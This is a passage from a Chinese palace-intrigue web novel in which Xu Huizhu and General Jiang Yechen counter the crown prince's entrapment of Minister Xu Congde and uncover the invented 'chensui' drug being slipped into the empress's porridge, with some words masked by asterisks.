李氏无奈,拧了一下**月的脸颊,叹气道,“我哪是生了一个女儿,是给自己养了一个克星,不克别人,专克亲母。”
隔日,李氏发现,她的私章不见了。
不等李氏收拾**月,徐从德出了大事。
徐从德醉酒睡了东宫侧妃--赫连宁宁,这件事情岂能善了。
李氏顾不得**月,亲自走一趟将军府,如此大事,她不敢擅自做主。
李氏见面直接说明来意,惊的徐慧珠茶盏掉落,好在姜夜沉伸手接住。
“夫人不气,万事有为夫在。”
徐慧珠怎么可能不气不恼?
“父亲醉酒误闯赫连侧妃的寝殿……”
“呵,父亲当了半辈子狐狸,整日端个盘算,算计旁人,谁成想,竟被太子给算计了一回。”
“他活该。”
徐慧珠不知该恼怒太子无耻下作,还是该嘲讽徐从德活该有此下场。
李氏脸色不大好,“慧珠,眼下你父亲人在东宫,太子派人问,此事是悄悄私了,还是闹大都没脸?”
“那人还说,你父亲醉酒,今夜便歇在东宫客院,明日清晨,是我们去宫门口接人?还是去皇上面前分说一二?”
“留给我们一夜,仔细思考。”
“慧珠,你说该如何是好?”
实发突然,李氏一时慌神,不知如何处置,她能想到的,便是同徐慧珠商量。
“母亲想如何解决?”徐慧珠气过之后,理智归于原位。
徐从德落入陷阱,是他活该。
自大皇子李明远死后,太子行事越发大胆到不知分寸,不计手段,他对徐从德拉拢一两回,得不到回应,就使龌龊伎俩。
“此事,很明显是太子使诈,父亲为何上当?如今再追究已无意义。”
“太子此举,意在掌控户部,更深层目的是逼将军府占位东宫,臣服于太子。若拒绝,怕是明日东宫会传出,父亲玷污赫连侧妃,逼的赫连侧妃自缢。”
“不管事情真相是什么,父亲这个户部尚书做到头了。”
“太子挑选的时机敏感,仓国使臣团将访,不日抵达京城,那位赫连侧妃在仓国虽不受宠,也是皇家公主……”
姜夜沉接话,“还有一事。”
“赫连宁宁与三年前来京,奉旨嫁给太子为东宫侧妃,奈何水土不服,三年来一直在别院静养,和太子并未圆房,却顶着东宫侧妃的名分。”
“本来,太子大概忘记这位异国侧妃存在,应该是昌乐长公主到来,提醒了太子。除掉碍事碍眼的赫连宁宁,换上更有价值的新人昌乐长公主,不然,东宫太子妃和侧妃都是仓国公主,我安国将改姓吗?由李氏改成赫连氏?”
“太子顺道榨干赫连宁宁最后的存在价值,拉户部尚书徐从德下水,后图谋将军府……太子行的是一箭三雕之计啊。”
“母亲有何想法?不妨直说。”徐慧珠又问。
李氏的脸一寸一寸白下去,她摇了摇头。
这看似繁花似锦,实则尔虞我诈的京城之地,她待够了。
“慧珠如此问我,我便说一句心里话。”
“我和徐从德早已貌合神离,他的死活,我不在意。他的名声好坏,我亦不关心。但,他占着我夫君的名分,还是明月的亲爹,我心中百般不愿,也得忍着恶心为他奔走周全。”
“除非,我能同他和离……”
李氏抬眼看向徐慧珠,“慧珠,你会支持我和离吗?”
“而且,我想带着明月回丽城。”
“再不归京。”
徐慧珠并没有太过惊讶,“和离?”
“母亲要弃了父亲?母亲可想好了,和离之后,您不再是尊贵的尚书夫人,**月也将失去尚书府二
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小姐的身份?”
“**月若没这层体面身份,想要嫁入世家大族,便不可能了。就算母亲不缺银子,可保**月富贵,但想要荣华,亦不可能了。”
李氏坚持二十多年,是熬不下去吗?
其实,李氏很早坦诚相告,在徐慧珠面前从不遮掩对徐从德的厌恶和恨意,李氏有**月和娘家要护,逼自己忍受徐从德的虚伪。
如今,李氏有意同徐从德和离,远走丽城,说到底也是为保护**月。
唯有**月,方能让李氏如此牵肠挂肚,不惜求到继女面前。
李氏一咬牙,跪在地上,奉上筹码,“将军,徐从德以我和**月要挟阿爹,这些年朝廷开采多少矿产,徐从德命阿爹藏匿一成。”
徐慧珠和姜夜沉对视一眼,瞧见对方眼里的震惊。
徐从德手里攥紧大量矿产,到底图谋什么?他身为户部尚书,可谓兢业忠心,若说他有异心,皇上或许不信,姜夜沉一时难以相信。
“阿爹说,徐从德偷来的东西就藏在部落祠堂地下的密室,整整地下三层密室。我只能假装不知情,假意和娘家淡漠关系,我不敢往深了探究。”
“这些年,我害怕的没能睡过一个安稳觉,我盼着**月长大,由着她任性胡闹,为的是将军您这座靠山。”
李氏倒是实诚,直接当面承认**月曾闹死闹活要嫁给姜夜沉,原来有李氏推波助澜。
她看好姜夜沉,以求得到救赎。
“阿爹和部落族人的性命因我有眼无珠心悦徐从德而起,我死不足惜,也想过拉徐从德共赴阴曹地府,但**月怎么办?祠堂地下的密室怎么办?”
“人死,债不消,死得毫无价值。”
不得不说,李氏眼光极好,想来她仔细研究、考量姜夜沉多年,才把**月的终生幸福和娘家的一线生机全部寄于姜夜沉身上。
徐从德自以为用情爱困住第一个女子,就能如法炮制困住第二个。
事实证明,轻视女子的男人,没有一个善终下场。
第239章:状告太子以色诱臣
徐慧珠做主,接受李氏投诚。
徐从德的把柄,从李氏手里移交给姜夜沉,日后才能发挥效用。
李氏离开后,徐慧珠提议入宫,她要见一面那位东宫侧妃赫连宁宁。
见面地点选在一处废弃的宫殿,隔一堵墙就是东宫地界。
人,是姜夜沉亲自出马掳来的。
徐慧珠手里把玩一支蝴蝶银簪,赫连宁宁一眼认出来,蝴蝶银簪是她亲手制作,送给了先太子妃陈沅沅。
赫连宁宁擅做首饰,唯有先太子妃陈沅沅发现她的小嗜好,送她全套工具,还夸赞她手巧。
“你是徐慧珠?”
“蝴蝶银簪还我!”
赫连宁宁伸手去抢,徐慧珠却将蝴蝶银簪插入发间。
“赫连侧妃?”
徐慧珠只叫了一声“赫连侧妃”,哪知,赫连宁宁像极炸毛母鸡,“我有名有姓,叫赫连宁宁,仓国人氏。”
“好,赫连宁宁。”徐慧珠心里对赫连宁宁好奇添两分。
“赫连宁宁,三年前你来安国嫁给太子为东宫侧妃,以结两国之好。”
“太子对你不喜,便将你扔在后院……”
“也是你倒霉,意外撞破太子殴打美人,亲眼看着太子把一个鲜活的人打死。你受到惊吓,欲逃出东宫,万幸被先太子妃察觉,她让你装病,顺势将你送到别院静养……”
赫连宁宁也是一朵娇艳欲滴的美人花,但她身份特殊,便是在东宫后院,太子不能说打就打,何况太子那人残暴无度,激情上头,人就**。
徐慧珠语气平淡地陈述一段过往,赫连宁宁瘫软在地,她双手捂住脸颊,哭泣道,“陈姐姐救了我,护住我的命,可她呢?”
“她**,被那个恶魔残忍打死,呜呜呜。”
“陈姐姐说,她已身陷深渊……”
徐慧珠这一世没来得及见先太子妃陈沅沅一面,那是一个什么样的女子啊?她温暖别人,可她自己呢,日复一日困在黑暗冰冷的潭底。
“所以,赫连宁宁,你寻机会回东宫,打算凭一己之力为先太子妃报仇,杀死太子?”
赫连宁宁胡乱擦拭脸上的泪,提说太子,她的眼里尽是恨意。
“是,徐慧珠,你说对了。”
“我是想杀死太子。”
“我被父母亲人抛弃,被母国抛弃,独身一人来到千里之外的安国,却发现嫁的男人是恶魔,我好害怕。”
“我用两床锦被包裹自己,还是寒气刺骨,我连哭都不敢放肆哭……”
“是陈姐姐,她救我,温暖我。”
“徐慧珠,你说,陈姐姐那么好的人,为什么会死?”
“上苍,何其不公。”
上苍公不公平,岂是人能评说。
不知,长眠于地下的陈沅沅可曾想到,她种下的善因,会结出一个个善果。
今日是赫连宁宁,他日会是旁人。
“赫连娜娜即将来京,她是仓国昌乐长公主,有意与安国联姻,听闻她的目标是太子妃。”
“赫连宁宁,你该知晓,你的存在,于太子和赫连娜娜来说,是一个必须除掉的障碍。所以……”
赫连宁宁哭着哭着,就笑了,神色凄然。
“所以,太子不杀我,仓国使团也会杀我,左右逃不过死。”
“这回,陈姐姐救不了我。”
徐慧珠想到阿魂送来的消息,一同送到她手里的还有那支蝴蝶银簪。
“托陈姐姐的福,我已偷得三年时光。”
“只是,我万万没想到,太子会这般无耻,设计徐大人……”赫连宁宁解释道,“我打晕徐大人,剥光他,再撕破我的衣裙,最后割破手指将血滴落在锦布上……”
太子的算计来得突然,赫连宁宁根本来不及想出应对之策。
“徐慧珠,你想让我怎么做?”
“我听你的。”
一支蝴蝶银簪,赫连宁宁便心甘情愿信任徐慧珠。
站在赫连宁宁面前的,是徐慧珠,也好似她的“陈姐姐”。
“如果你有机会在皇上面前申辩,赫连宁宁,你会怎么说?”
太子一心作死,那就莫怪徐慧珠和姜夜沉借机做些什么,至于徐从德,是她的杀母仇人,旁人没有资
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格动他。
赫连宁宁的眼睛发亮,“我能见到皇上?”
“皇上会信我?”
徐慧珠点头。
对太子来说,赫连宁宁将是一枚废棋,不管徐从德是否臣服,赫连宁宁必须死。
“我会向皇上状告太子以色诱臣,徐大人乃正人君子,宁可撞墙晕倒,也没碰我……”
赫连宁宁聪慧,一点就通。
她以为,徐慧珠为救徐从德而来。
徐慧珠懒得多余解释,何况,告太子的状,是否成功,还需另一个当事人徐从德配合。
也让徐从德误会下去吧。
又说了一会儿话,姜夜沉亲自送赫连宁宁回东宫。
接下来的戏,赫连宁宁也是主角之一。
赫连宁宁走到门口,又回头,“徐慧珠,你说一个人的一生,活多久,活的怎样,才算活够本?”
“若我**,求你将我葬在陈姐姐身旁,让那支蝴蝶银簪陪着我,指引我在阴曹地府里找到陈姐姐,来世投胎,便做那山谷里的树……你能答应我吗?”
徐慧珠和姜夜沉对视一眼,皆疑惑,赫连宁宁怎么知道?
皇上下旨先太子妃陈沅沅以皇后规格入葬皇陵,享李氏皇族子孙香火供奉,但姜夜沉和陈青阳知道,这等恩宠荣耀,陈沅沅不稀罕,也不想要。
姜夜沉偷盗陈沅沅的尸身,和陈青阳寻一处山清水秀的清净之地,葬了陈沅沅。而皇陵地下,埋葬的不过是一套凤袍。
太子死后不配与她同葬。
隔日清晨,朝会刚散,文武大臣们正往宫门处走。
这时,听到救命呼声,接着瞧见徐从德和赫连宁宁满身狼狈在远处宫道上奔跑,后面十几名太监在追,眼见快追上,被姜夜沉截住。
“岳丈大人?”
“你不是告病假了么?怎么大清早来皇宫锻炼身体?”
“岳丈大人就不怕皇上问罪?”
姜夜沉说话阴阳怪气,他这人护短,得知徐从德对徐慧珠疼爱没有,却满心算计,他连一句客气话都不想跟徐从德说。
“将军救命……”
第240章:**
徐从德贬低训斥女儿,看似处处为姜夜沉着想。
奈何姜夜沉是皇上亲自教导,得皇上真传,护短的紧。
骂他可以,骂徐慧珠,绝不不行。
徐从德身形一顿,张了张嘴,最后化为无声,尽数吞咽入腹。
姜夜沉当面诅咒他?
还派锦衣卫监工?定是徐慧珠枕边风吹的,才对他这个岳丈不敬不尊。
也是,是他妄想了,徐慧珠虽说嫁给姜夜沉,当初得皇上赐婚,以嫡妻规格迎娶,尊称“徐夫人”,后得皇上赐封诰命夫人……实打实的荣耀至极。
可,凡事怕深究,徐慧珠终归为妾,他徐从德自是算不得正经儿岳丈大人。
看着徐从德离去的背影,徐慧珠眼神一片冰凉。
徐从德身为父亲,从未教导过她识人,他冷漠地将她扔到后院,任她自个儿摸索着成长。
她又不是田地里的杂草。
迎风渐长。
“赫连宁宁她?”
徐慧珠心里也憋着气。
她尝试劝说过赫连宁宁,人的生命只有一次,怎能轻易言死。
可,赫连宁宁存了死志,唯一能劝服她的人,已长眠于地下。
姜夜沉点头,“赫连宁宁被双亲和母国抛弃,她嫁的太子、仓国来的亲人,一个个都要她的命,她出身于皇族,她这样的身份,又能逃到哪里去。”
“何况,她不愿。”
“慧珠,是她不愿。”
徐慧珠何尝不知。
她取出蝴蝶银簪,“那便如她所愿,葬于陈沅沅身旁。”
“皇上怎么说?”
徐慧珠不会让自己一味沉浸在某件事情某个人,然后钻进死胡同,走不出来。
伤春悲秋,解决不了问题。
“皇上震惊于太子行事恶劣,警告太子,东宫太子妃只能是暮歌,若暮歌出事,定是太子所为,那就滚出东宫。”
“太子想娶昌乐长公主为太子妃,以获仓国外力支持,此路怕是行不通。”
“听皇上之意,不屑与仓国以联姻的方式交好,且等使臣团入京,看看仓国的诚意如何,一个仓国第一美人儿,并无多大实际价值。”
也就是说,皇后娘娘和太子暂且不敢动暮歌。
性命无忧。
徐慧珠向赫连宁宁承诺,杀太子的凶手,由她来当。
她已弄死大皇子李明远,再杀太子,毫无心理负担。
姜夜沉会和她一起制定完美**计划,还会妥帖善后,谁也不会怀疑她才是真正的**凶手。
徐慧珠去了一趟凤凰山药泉庄,暮歌日日泡药泉,身子养得不错,太子干的蠢事,她当作乐子讲给暮歌听。
毕竟,此事与暮歌也有一些关联。
“太子暂且不敢要我的命,但他们太迫切想要得到仓国支持,皇后娘娘怕是会想法子,如果我触怒天颜,自个儿作死……”
不得不说,暮歌很了解皇后娘娘。
不过两日光景,宫里传出消息,皇后娘娘病得严重,昏昏沉沉之时嘴里念叨暮歌,又求皇上开恩让她在临死之前见一面暮歌。
皇后娘娘有愧于暮歌。
她要忏悔。
不然,死不瞑目。
前一瞬,皇后娘娘算计暮歌的性命。
后一瞬,要演一出慈爱婆母和乖顺儿媳的戏。
皇上看着脸色灰白,嘴唇干裂,还在拼力挤出眼泪的皇后娘娘,心里冷笑:闹腾吧,顺道看清楚哪些人不安分。
君后殿里,皇后娘娘病殃殃躺在床榻上。
“儿媳见过母后。”
“臣妇见过皇后娘娘。”
皇后娘娘脸色微变,“暮歌,你带徐氏来做什么?”
她不惜损害身体哄骗暮歌回宫,不是要暮歌侍疾。
她有话同暮歌说,徐氏一个外人杵在这里,算什么事。
“母后息怒,保重身体才是。”
暮歌如往昔温顺,仿佛先前她叛主,皇后娘娘算计她背锅,都不曾发生过。
皇后娘娘以为,暮歌之所以说出那些真相和实话,唯有一个理由,那就是暮歌太缺爱,她只需表现出疼爱、关心,暮歌就会像狗一样冲她摇尾巴。
“听闻母后生病,儿媳实在担心,便请徐夫人入宫为母后看诊。”
“母后,徐夫人医术不错,太医说儿媳身子亏损厉害,恐短寿之像,经过徐夫人为儿媳调理,儿媳觉得似乎大好了。”
暮歌说着跪在地上,握住皇后娘娘的手,声音发颤,“母后,万事都没有您身体健康重
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要啊。”
皇后娘娘脸色渐缓,说来她享受且习惯暮歌的侍奉,让她身心舒畅。
“好了,起来回话,本宫知道你是个孝顺的。”
“暮歌,你听话,本宫自会疼你。”
徐慧珠上前,恭敬道,“臣妇为您把脉。”
皇后娘娘手一缩,本想拍开徐慧珠的手,好在理智稍快些。
她不能伤了暮歌的一片孝心。
“皇后娘娘感染风寒,郁结于心,再加上**……”
“徐氏,你说什么?”皇后娘娘厉声道,“本宫**?”
“不,不可能。”
“本宫怎会**?”
“本宫是皇后,谁敢谋害本宫性命?”
“徐氏,你好大的胆子。”
她服下那种秘药,身体反应看起来像感染风寒。
风寒虽不是重疾急症,但一场风寒夺取人性命之事常有发生,皇后娘娘病得下不来床榻,便是整个太医院无人敢拍着胸脯保证。
可能活,也可能死。
那么多太医都没诊出来,徐氏何德何能?这世上,就徐氏一人医术最高明卓越?
难道?
他当真无情,怨恨她毒杀他心上人,不惜弑妻吗?
不……
皇后娘娘脸色变换不停,一会儿灰青,一会儿恐惧。
“母后,您千万不能动气,且听徐夫人怎么说?”
“谁敢给母后下毒,儿媳会查出来,定将那人**万段,以解母后心头之恨。”
“儿媳诅咒下毒之人不得好死。”
又说,“徐夫人,母后到底中了什么毒?你如实说来。”
徐慧珠把完脉,起身站定。
“回禀皇后娘娘、太子妃,其实皇后娘娘身体里中的说毒非毒,非毒也算毒。”
皇后娘娘正欲动怒,却被暮歌握住手臂,轻轻摇晃。
“太医没诊出来,并非他们医术不精,而是皇后娘娘**后的表现在于情绪寡欢,人一旦精神损伤,便会嗜睡。”
“久而久之,会成瘾。”
“一旦成瘾,此生难戒。”
若说是毒,它不会致命。
若说非毒,却又害人不浅。
“臣妇大胆猜测,下毒之人不敢害您的性命,可能有旁的意图……”
第241章:沉睡之毒
“依皇后娘娘您的脉象,**时日尚浅,当务之急是查到您如何**,日后断绝毒源,精神会慢慢恢复。”
“只是……”
暮歌蹭地一下起身,急忙问道,“只是什么?”
“徐夫人,是不是需要心头血为药引?那就取我的心头血,取多少都行,哪怕要我的命,只求母后无恙。”
皇后娘娘一时忘记她哄骗暮歌回宫的目的,沉浸在暮歌表现的孝顺里,心情大好。
“你这孩子……”
“本宫日后好生疼你爱你,暮歌啊,你就是本宫的亲生女儿。”
徐慧珠忍不住给暮歌竖起大拇指,这演技,已非炉火纯青能形容。
简直绝了。
“太子妃孝顺,皇后娘娘慈爱,不愧为世间女子的典范。”
徐慧珠不介意给她们的婆慈媳孝锦上添花,满足皇后娘娘的虚荣心。
送皇后娘娘飘至九重天。
“不过,太子妃多虑,此毒没那么可怕,无需您的心头血。”
“皇后娘娘断绝毒源后,精神会进入一段时日的饥渴状态,表现为失眠。”
“臣妇会为皇后娘娘准备一道药膳,吃上十日半月,便可恢复正常。”
“那就好那就好。”暮歌当下松了一口气,“母后,儿媳亲手给您做药膳吃。”
皇后娘娘这会儿倒是安静,她的身体状况,自个儿最清楚。
近来,她处于睡不饱的状态,睡了还想睡,恨不能裹着锦被睡个昏天暗地。
她察觉到身体不对劲,但没放在心上,以为每日处置宫务太劳累,再加上没了厉贵妃那个狐媚子,情绪松弛之下,也就睡得香甜深沉了。
谁成想,她被人下毒了。
这下毒之人,好生奇怪。
是谁?
这时,宫人送来燕窝粥,暮歌接过玉碗,伺候皇后娘娘服用。
皇后娘娘用了大半碗燕窝粥,一阵困意袭来,哈欠连连,困到连眼皮子也懒得抬了。
皇后娘娘摆摆手,满脸不耐烦赶人,“先退下吧,本宫要睡会儿。”
“暮歌,你守着本宫,待本宫睡醒,有正事同你说。”
徐慧珠端起玉碗闻了闻,“皇后娘娘,臣妇找到毒源了。”
“是燕窝粥。”
奈何,皇后娘娘太困太困。
燕窝粥?
不,怎么可能?
皇后娘娘再醒来,已是两个时辰后,皇上听说皇后娘娘**,龙颜大怒,命姜叶辰彻查。
这回敢给皇后娘娘**,下回呢,皇上吗?
凶手何等猖狂。
医正大人为皇后娘娘把脉,又仔细查验剩余的燕窝粥,跪下请罪,“回禀皇上,是臣之疏忽。”
“的确如徐夫人所言,皇后娘娘除感染风寒外,还有**迹象,此毒名为沉睡,起源于仓国皇室。”
“毒,就下在皇后娘娘每日食用的燕窝粥里。”
医正大人看过徐慧珠的药膳方子,“徐夫人这道药膳方子极妙。皇后娘娘只需静养,再配合药膳,身子很快痊愈。”
暮歌满眼疑惑,“可是,谁会给母后下毒?”
“下沉睡这种奇怪的毒……”
皇上也觉得奇怪,有人给皇后下毒,却下这种不痛不痒的毒,是搞笑的吗?
若换作他,定给皇后来一碗掺了**的燕窝粥。
他亲自喂到皇后嘴里,看着她一口一口吞咽。
“夜沉,查。”
“臣领命。”
皇后娘娘捂住心口,压下那份剧痛。
“皇上,臣妾……臣妾并有**。”
皇上皱眉,“皇后,你知道你在说什么吗?”
“皇上,臣妾当真没有**。”
“臣妾这些时日操劳宫务,甚感疲惫,难以入眠,便让宫人燃了安神香……是徐氏误诊,对对对,就是徐氏误诊,医正顾及姜夜沉面子,不得已帮徐氏圆谎。”
又说,“徐氏,你医术不精,日后莫要入宫了。”
“这回,本宫不与你计较。”
难为皇后娘娘在短时间里想到如此“合理”的理由,皇后娘娘**是事实,只是,皇后娘娘为何袒护凶手?
难道?
难道皇后娘娘知道谁是凶手。
“母后,不可能啊。”
“徐夫人的医术真的很好,怎会误诊呢?母后若不信徐夫人,要不请普神医入宫为您看诊,再请太医院的
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太医们一同会诊。”
“万事以母后身体为重。”
皇后娘娘此刻拍死暮歌的心都有了,简直是愚蠢不堪的猪队友。
暮歌的愚孝坏了她的事。
“暮歌啊。”皇后娘娘嘴角抽了抽,逼自己语气和善,“本宫的身体状况,本宫最是清楚。”
“本宫没**。”
医正大人不敢得罪皇后娘娘,但,徐慧珠敢啊。
“皇后娘娘,臣妇自信没诊错。”
“您有所不知,沉睡这种毒起源于仓国皇室,是禁药之一。”
“传闻最早**的是一位宠妃,连续服用沉睡五年后,宠妃最后的下场是变成永远醒不来的睡美人,直到身体机能渐渐衰败,在沉睡中悄无声息死去。”
话已铺垫到这里,该姜夜沉接话。
“皇上,慧珠说得没差。”
“臣以为,当务之急必须查出谁给皇后娘娘下毒?背后之心居心何在?”
“凶手怎会和仓国皇室牵扯?”
“难道是仓国埋在我安国的细作,先给皇后娘娘下毒,再给皇上和太子殿下下毒,若让凶手得逞,三五年过后,我安国又是怎样一番景象?”
“皇上,后果不堪设想啊。”
皇后娘娘彻底愣住,她后悔演这一出苦肉计哄骗暮歌回宫……就算她**,怎么就扯到仓国细作?
“荒唐。”
“胡闹。”
皇上心里已有猜测,看来给皇后“下毒”之人,不是太子,就是凝玉。
简直混账。
“夜沉,命锦衣卫去查。”
“是,皇上,臣亲自去查。”姜夜沉看了一眼徐慧珠,领命离去。
皇上看向皇后娘娘的眼神,冰寒刺骨,警告道,“慈母多败儿。”
“皇后,是你毁了太子和凝玉。”
此言一出,皇后娘娘心惊,皇上知道了什么。
“皇上,您这是何意?”
“您怎能无缘无故说戳臣妾心窝子的话啊,太子和凝玉是犯了一些错,但是人都会犯错,这世间哪有完美无瑕之人。”
“皇上,太子和凝玉是您的一双儿女,便是犯错,您好生教导,他们改过,不好吗?”
第242章:**也不安分
皇后娘娘越说越难过,心里怨恨越浓烈,正在一点一点蚕食她的理智。
“太子和凝玉自小孝顺,皇上,是您从未给过太子和凝玉机会,让他们亲近您啊。”
皇后娘娘心慌不已,“皇上,臣妾没有**。”
任凭皇后娘娘说得口干舌燥,皇上坐在椅子上,连一个眼神都吝啬到不给。
“母后,您保重身子才是啊。”暮歌干巴巴劝着。
徐慧珠倒是没闲着,宫人在殿外支起药炉,她和医正大人在锦衣卫的监视之下为皇后娘娘现场熬药。
好在姜夜沉办事效率甚高,徐慧珠刚熬好汤药,姜夜沉已然查清。
奇怪的是,锦衣卫绑了皇后娘娘身边的大宫女依琳。
走过徐慧珠身旁,姜夜沉停下,“随我入殿。”
又对着医正大人说,“锦衣卫在大宫女依琳住处查获可疑药粉,还得劳烦医正大人辨识一番,是否为沉睡。”
“将军客气了,亦是下官职责所在。”医正大人还礼道。
徐慧珠端着药碗,跟在医正大人身后。
暮歌主动接过药碗,轻轻吹凉,“母后,儿媳伺候您喝药。”
皇后娘娘抬眼,在看到被锦衣卫押着堵住嘴的大宫女依琳,脸色巨变。
惊慌之下,她打翻药碗,一碗滚烫的汤药尽数倒在皇后娘娘的手背上,立马红肿一片。
“啊……”
“母后?”
无人察觉暮歌顺势为之。
药碗,她其实能端得稳当。
“儿媳该死儿媳该死。”
“都是儿媳的错,都是儿媳的错。”
暮歌暮色慌张,跪在地上一边认错一边磕头。
暮歌这头磕的实诚,一下又一下,很快,额头磕破了皮,血红刺目。
“滚。”
皇后娘娘扬起手一巴掌甩在暮歌脸上,恨恨地训斥,“**,你想烫死本宫不成。”
待皇后娘娘打完骂完,才恍然想起,这虽然在她的君后殿,但此刻皇上就坐在那里,目光森冷地欣赏她的丑态。
“皇上,臣妾……臣妾不是的。”
“臣妾平日里十分疼爱暮歌,刚刚……刚刚臣妾是无心的。”
死猪不怕开水烫,说的就是皇后娘娘。
她以为旁人皆眼瞎,由她一人睁眼说瞎话,外加黑白颠倒。
徐慧珠飞快地看一眼皇后娘娘,她此刻好想拿一把尺子,丈量一番皇后娘娘的脸皮,厚比城墙。
“徐氏,你去给太子妃上药。”
皇上心里好一阵无力,对太子的两任太子妃,他心怀愧疚。
“皇后,你啊,配不上太子妃的孝顺。”
皇后娘娘噎住,脸色心虚又难堪,“皇上?”
皇上说话,当真是一丁点儿脸面都不给她留。
“夜沉,可查清楚了,到底怎么回事?”
“回禀皇上,锦衣卫对君皇殿的宫女太监排查,大宫女依琳十分可疑。”
这时,医正大人禀报,“的确是沉睡。”
姜夜沉接话,“共搜出二十小包沉睡。”
“皇后娘娘每日午歇后会食用一碗燕窝粥,沉睡就下在燕窝粥里,据大宫女依琳交待……”
皇后娘娘厉声打断,“依琳,你竟敢害本宫?”
“依琳,你太让本宫失望了,难道你一点儿也不顾及家人?说,是后宫哪位嫔妃指使你,你如实说,本宫留你全尸,也会保你家人无恙。”
皇后娘娘的威胁之意,太过明显。
“皇后娘娘,锦衣卫已审过大宫女依琳,这是她的证词,签名画押的证词。”
也就是说,就算大宫女依琳这会儿翻供,反咬一口是锦衣卫刑讯逼供,她受不住刑法才认罪,怕是无用。
审问一个宫女,还用不到锦衣卫的刑具。
除非,大宫女依琳是死侍。
但,她不是。
不知,皇后娘娘哪根筋儿抽抽,她突然抢走证词,连看一眼不曾,直接撕碎。
“不,是这个**胡说,本宫不信。”
“**,你说,是不是厉贵妃指使你害我?你妄想将脏水泼到旁人身上,对对对,定是厉贵妃害我。”
这一幕发生的太过突然,以至于在场众人皆未反应过来。
一国国母,竟做出这等幼稚可笑的事情来。
更难为皇后娘娘想到让人都**的厉贵妃背锅,她就不怕厉贵妃夜里潜入梦中,骂她不要脸。
该说皇后娘娘一句什么好呢。
无语至极。
“皇后,厉贵妃**。”
“**也不安分。
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”皇后娘娘压制心里的恐慌,硬着头皮与皇上对视,“皇上,您为何不信臣妾?”
“这些年,厉贵妃仗着皇上您的宠爱,对臣妾不尊不敬,难道皇上不知,臣妾这个皇后做得何等憋屈,何等可怜?”
皇后娘娘哭的悲切,她做这些,无非是阻挠姜夜沉,不管姜夜沉查出什么,她绝不会认同。
可惜,皇后娘娘费尽力气演了半晌,皇上懒得理会。
“夜沉,你继续说。”
皇上直接下令。
“是,皇上。”
“皇上,这是大宫女依琳的证词。”
姜夜沉又拿出一张证词,双手奉给皇上。
“皇后娘娘,实在对不住,让您失望了。锦衣卫做事,向来谨慎,审问嫌疑人之时,会有正份和备份。”
“您刚撕毁的,是一张备份证词。”
皇后娘娘气到失语。
姜夜沉竟敢当众嘲讽她?
皇上看过证词,脸色越发冷淡。
“据大宫女依琳交待,沉睡是太子殿下悄悄给她的,也是太子殿下命她下在皇后娘娘每日食用的燕窝粥里。”
“太子殿下没说原由,她亦不敢追问,太子殿下许诺,只要她听话,便向皇后娘娘讨要她,让她做尊贵的东宫侍妾。”
皇后娘娘脸色惨白,是太子吗?
她的儿子,她掏心掏肺疼爱的亲生儿子,竟偷偷给她下毒?
“不,不可能。”
“定是你这贱婢胡言乱语,妄想攀咬太子……”
猜测是一回事,还能存一点点侥幸心理。
当真相摆在她面前,还是不能相信,无法接受。
她宁愿这沉睡之毒,是凝玉下的。
她会伤心悲痛,但不会如此绝望。
相较于皇后娘娘情绪崩溃,皇上的反应略显平淡。
“父皇,儿媳身子实在不争气,故儿媳想说的话想做的事,由徐夫人代劳,求父皇恩准。”
徐慧珠已为暮歌的额头上完药,暮歌本就身子虚弱,经过一番折腾,脸色愈加发白,哪有力气继续伺候皇后娘娘。
“准。”
“太子妃,你便坐在一旁休息。”
徐慧珠径直走向大宫女依琳,告罪一句“得罪了”。
啪啪,先扇两个巴掌……
第243章:太子是无情不孝的怪物
“太子妃说,不管什么原因,你敢给皇后娘娘下毒,必须得死。”
“依琳,你是皇后娘娘身边的大宫女,比之七品官员府上的贵女还得脸面,日后皇后娘娘再为你赐婚一桩良缘,该是何等风光体面。”
“依琳,你的良心呢?被狗吃了不成。”
啪啪,再补两个巴掌。
“太子妃还说,皇后娘娘是太子殿下的生母,一惯母慈子孝,她万万不信太子殿下会做出下毒这等畜生不如的恶事。依琳,你爱而不得,心中生恨,便要破坏皇后娘娘和太子殿下的母子情分吗?”
**啪,徐慧珠手下动作利索,直将大宫女依琳一张娇美的脸打成猪头,堵住嘴的布团也掉在地上。
泥人还有三分性,何况大宫女依琳打心底从未瞧起过暮歌。
同样是宫女,谁比谁高贵?
大宫女依琳时常幻想,若那一晚出现在梅林的是她,如今尊贵无双的太子妃便是她了。
飞上枝头变凤凰的美梦,谁没做过?
梦一旦破碎,那就破罐子破摔,只图临死之前快活一回。
“哈哈哈哈……”
“太子妃啊太子妃,你当真以为自己就是太子妃了,奴婢还是头一回见识像你这般愚蠢而不自知的傻子。”
大宫女依琳挣扎着站起身,一步一步走向徐慧珠。
她这是把徐慧珠当作暮歌了。
同为女子,怜香惜玉实在虚假。
徐慧珠正欲抬脚,奈何姜夜沉动作更快,一脚将大宫女依琳踹出去老远。
“放肆。”
大宫女依琳吐出一口腥血,将死之人,身体的剧痛也没那么痛。
“哈哈哈哈……”
“傻子啊。”
“太子妃,你可知皇后娘娘和太子殿下私下怎么说你?”
“皇后娘娘说你是一条温顺听话的狗,等将来太子登上黄金座之时,就是你的死期,皇后娘娘挑选了世家大族的贵女,重新为太子迎娶太子妃。不,仓国昌乐长公主来访,皇后娘娘要你自请下堂,好为昌乐长公主腾位置。”
“哈哈哈哈……太子妃,你还敢回宫?回宫送死吧。”
无人阻挡大宫女依琳。
皇后娘娘恨不能撕烂大宫女依琳的嘴,让她说?
可,皇后娘娘有心无力,只得眼睁睁看着大宫女依琳上蹿下跳。
疯子疯子,都是疯子。
皇后娘娘怒到捶锦被,可惜,没人在意她的情绪失控。
连宫女都敢轻视、羞辱太子妃,宫女的胆子又是谁给的?可见平日里,太子妃的体面怕是连皇后娘娘身旁的大宫女都不如。
“带下去,杖毙。”
便是大宫女依琳没有给皇后娘娘下毒,单凭她羞辱太子妃这一条罪,必死无疑。
“李生德,传本皇旨意,太子妃乃本皇钦定,皇宫上下谁敢对太子妃不尊不敬,不论身份,一律杖毙。”
“是,奴才领旨。”
皇上这话,说给皇后娘娘听,也是警告皇后娘娘莫妄动太子妃,不然,等待她的就是滔天圣怒。
暮歌回宫探望过皇后娘娘,又得皇上恩准返回凤凰山药泉庄静养。
皇后娘娘满腹算计,来不及施展分毫。
皇上甚至没有召见太子对质,何谈处置。
因为,证据不足。
大宫女依琳当晚在慎刑司自缢身亡,皇上下令,皇后娘娘**一事止步于大宫女依琳。
也因为,仓国使臣团已入京,此时若传出太子给皇后娘娘下毒的丑闻,安国脸面丢到泥泞里去了。
这一晚,君后殿里的烛火燃至天明。
